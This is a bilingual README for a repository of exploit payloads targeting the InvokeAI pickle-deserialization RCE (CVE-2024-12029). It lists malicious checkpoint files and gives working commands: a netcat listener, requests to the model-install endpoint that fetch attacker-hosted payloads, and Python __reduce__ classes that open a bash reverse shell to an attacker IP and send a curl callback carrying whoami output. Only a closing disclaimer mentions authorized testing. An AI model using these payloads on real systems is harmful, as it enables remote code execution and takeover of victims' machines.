
This repository contains alternative payload approaches for the InvokeAI RCE vulnerability (CVE-2024-12029) when SSH key injection fails. The payloads are designed to test if pickle deserialization is actually occurring and provide alternative access methods.
Este repositório contém abordagens alternativas de payload para a vulnerabilidade InvokeAI RCE (CVE-2024-12029) quando a injeção de chave SSH falha. Os payloads são projetados para testar se a desserialização pickle está realmente ocorrendo e fornecer métodos de acesso alternativos.
Quando payloads de injeção de chave SSH são entregues com sucesso (Status 201) mas o acesso SSH ainda requer senha, isso indica uma das seguintes opções:
payload_reverse_bash.ckpt (89 bytes) - Reverse shell em Bashpayload_reverse_python.ckpt (267 bytes) - Reverse shell em Pythonpayload_reverse_nc.ckpt (70 bytes) - Reverse shell com Netcatpayload_callback_test.ckpt (115 bytes) - Callback HTTP para verificar desserializaçãopayload_test.ckpt (90 bytes) - Teste simples de criação de arquivopayload_alt_exec.ckpt (223 bytes) - Método alternativo de execuçãopayload_ssh_simple.ckpt (271 bytes) - Injeção de chave SSH compatível com Linuxkali_reverse_test.py - Suíte de testes abrangentereverse_shell_payload.py - Gera payloads de reverse shellpython web_server.py --port 8000
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txt no alvoclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load()Este repositório é apenas para fins educacionais e de teste de segurança autorizado. Os usuários são responsáveis por garantir que possuem a devida autorização antes de testar qualquer sistema.